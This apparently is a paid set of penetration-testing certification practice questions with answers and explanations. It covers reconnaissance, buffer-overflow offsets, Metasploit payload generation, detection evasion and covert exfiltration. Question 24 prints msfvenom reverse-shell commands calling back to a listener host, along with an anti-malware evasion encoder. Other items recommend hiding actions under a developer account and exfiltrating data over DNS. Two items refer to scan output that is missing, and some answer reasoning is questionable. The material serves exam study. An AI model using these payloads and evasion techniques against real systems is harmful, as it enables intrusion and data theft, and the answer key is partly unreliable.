A penetration tester gains initial access to a Windows workstation on a client’s network. The tester wants to determine the next target but does not want to install software on the workstation.
Which of the following is the best tool to list potential targets?
A. mmc.exe
B. Netstat
C. Mimikatz
D. explorer.exe
E. CME
Show Answer
Correct Answer: B
Explanation: Netstat is a native Windows, living-off-the-land utility that requires no software installation. By examining active connections and routing information (e.g., netstat -ano or -r), a tester can identify other hosts the workstation communicates with, such as servers or domain controllers, making it the best option for discovering potential next targets. The other options do not directly enumerate network targets or require external tools.
Question 22
A tester compromises a shared host that is manually audited every week due to the absence of a SIEM.
Which of the following is the best way to reduce the chances of being detected?
A. Modify files located in the /var/log directory.
B. Use the clear command to remove recent terminal activity.
C. Perform commands under one of the developer accounts.
D. Disable all logging services on the host.
Show Answer
Correct Answer: C
Explanation: In an environment without a SIEM and only weekly manual audits, the goal is to blend in and avoid obvious anomalies. Modifying or deleting logs (/var/log), clearing terminal history, or disabling logging services are all highly suspicious actions that auditors commonly check for. Performing actions under an existing, legitimate developer account allows activity to appear routine and consistent with normal usage, significantly reducing the chance of detection during manual review.
Question 23
A penetration tester is investigating a buffer overflow on the myfile binary. The tester wants to send a payload to help identify the exact offset to inject the memory address to take control of the buffer.
Which of the following would allow the penetration tester to quickly identify the offset?
A. ./myfile < $(printf ‘A%.0s’ {1.1000}
B. echo ‘A’ |head -n 1000 |tr -d ‘\n’ | ./myfile
C. python -c ‘print(“A”*1000)’ > test.txt; cat test.txt >./myfile
D. ./pattern_create.rb 1000 > test.txt; ./myfile < test.txt
Show Answer
Correct Answer: D
Explanation: To identify the exact offset in a buffer overflow, the tester should use a non-repeating cyclic pattern rather than a stream of identical characters. Tools like pattern_create.rb generate a unique pattern where every 4-byte sequence is distinct. When the binary crashes, the overwritten instruction pointer value can be matched back to the pattern to calculate the precise offset. The other options only send repeated 'A' characters, which can cause a crash but do not allow accurate offset determination.
Question 24
A penetration tester is ready to add shellcode for a specific remote executable exploit. The tester is trying to prevent the payload from being blocked by anti-malware that is running on the target.
Which of the following commands should the tester use to obtain shell access?
A. msfvenom --arch x86-64 --platform windows --encoder x86-64/shikata_ga_nai --payload windows/bind_tcp LPORT=443
B. msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.100 LPORT=8000
C. msfvenom --arch x86-64 --platform windows --payload windows/shell_reverse_tcp LHOST-10.10.10.100 LPORT-4444 EXITFUNC=none
D. net user add /administrator | hexdump > payload
Show Answer
Correct Answer: A
Explanation: The question emphasizes evading anti-malware while adding shellcode to a remote exploit. Using an encoder is a classic technique to obfuscate shellcode and bypass signature-based detection. Option A explicitly uses the Shikata Ga Nai encoder with msfvenom, which is designed for this purpose. The other options generate payloads without any encoding or are invalid commands, making them more likely to be detected or not work as intended.
Question 25
A penetration tester uses a Python script to enumerate open ports across a list of IP addresses. The current script runs sequentially, which slows it down during larger engagements. The tester wants to improve the script’s performance so it can handle multiple targets simultaneously.
Which of the following changes is the best way to achieve this goal?
A. Using the time.sleep() function to throttle the scanning rate
B. Importing a library that allows use of workers
C. Replacing the range() function with a while loop
D. Changing the port list from a tuple to a dictionary for better lookup speed
Show Answer
Correct Answer: B
Explanation: Improving performance for scanning many IPs requires concurrent execution rather than sequential processing. Using a library that provides workers (such as threading, multiprocessing, or concurrent.futures) allows the script to scan multiple targets simultaneously. The other options do not introduce concurrency and would not meaningfully improve scan speed.
Question 26
After completing vulnerability scans for a given test, a penetration tester needs to prioritize which potential assets are in scope and should be exploited first. Given the following scanner output:
Which of the following findings should the tester prioritize first based upon a consideration of risk to the organization?
A. 1
B. 2
C. 3
D. 4
Show Answer
Correct Answer: B
Explanation: Risk-based prioritization considers both asset value and vulnerability severity. Finding 2 represents the highest combined risk (a severe, likely exploitable vulnerability affecting a high-sensitivity or business-critical asset), making it the most appropriate target to exploit first compared to the other findings.
Question 27
A penetration tester has just started a new engagement. The tester is using a framework that breaks the life cycle into 14 components. Which of the following frameworks is the tester using?
A. OWASP MASVS
B. OSSTMM
C. MITRE ATT&CK
D. CREST
Show Answer
Correct Answer: B
Explanation: The framework described is a penetration testing methodology that defines the lifecycle of an engagement. OSSTMM (Open Source Security Testing Methodology Manual) is specifically known for breaking a penetration test into 14 components/channels. MITRE ATT&CK does have 14 tactics, but it is an attack behavior knowledge base, not a penetration testing lifecycle framework. OWASP MASVS focuses on mobile app security requirements, and CREST is a certification body rather than a testing framework.
Question 28
As part of an engagement, a penetration tester needs to scan several hundred public-facing URLs for dangerous files or outdated web server versions. Which of the following should the tester use?
A. Nmap
B. ZAP
C. BloodHound
D. Nikto
Show Answer
Correct Answer: D
Explanation: Nikto is a web server vulnerability scanner designed to scan many public-facing URLs for dangerous files, misconfigurations, and outdated web server versions. Nmap focuses on ports/services, ZAP targets in-depth web app testing, and BloodHound is for Active Directory analysis.
Question 29
A penetration tester wants to download sensitive files stored on the client's file server and runs the following scan:
Which of the following TCP ports should the penetration tester target as a next step?
A. 21
B. 22
C. 80
D. 990
Show Answer
Correct Answer: D
Explanation: The goal is to download files from a file server, so a file transfer service is the most relevant target. Port 990 is used for FTPS (FTP over SSL/TLS), which is commonly enabled on file servers for secure file transfers. Given the scan indicates this service is available, it is the logical next step compared to FTP (21), SFTP (22), or HTTP (80).
Question 30
Which of the following protocols would a penetration tester most likely utilize to exfiltrate data covertly and evade detection?
A. FTP
B. HTTP
C. SMTP
D. DNS
Show Answer
Correct Answer: D
Explanation: DNS is commonly used for covert data exfiltration because DNS traffic is almost always allowed out of networks, is less strictly inspected than protocols like FTP or SMTP, and can hide data within queries and responses, making it effective for evading detection.
$19
Get all 220 questions with detailed answers and explanations
Instant download HTML + PDF delivered the moment payment clears.
Secure Stripe checkout we never see or store your card details.
7-day refund if files are defective see our refund policy.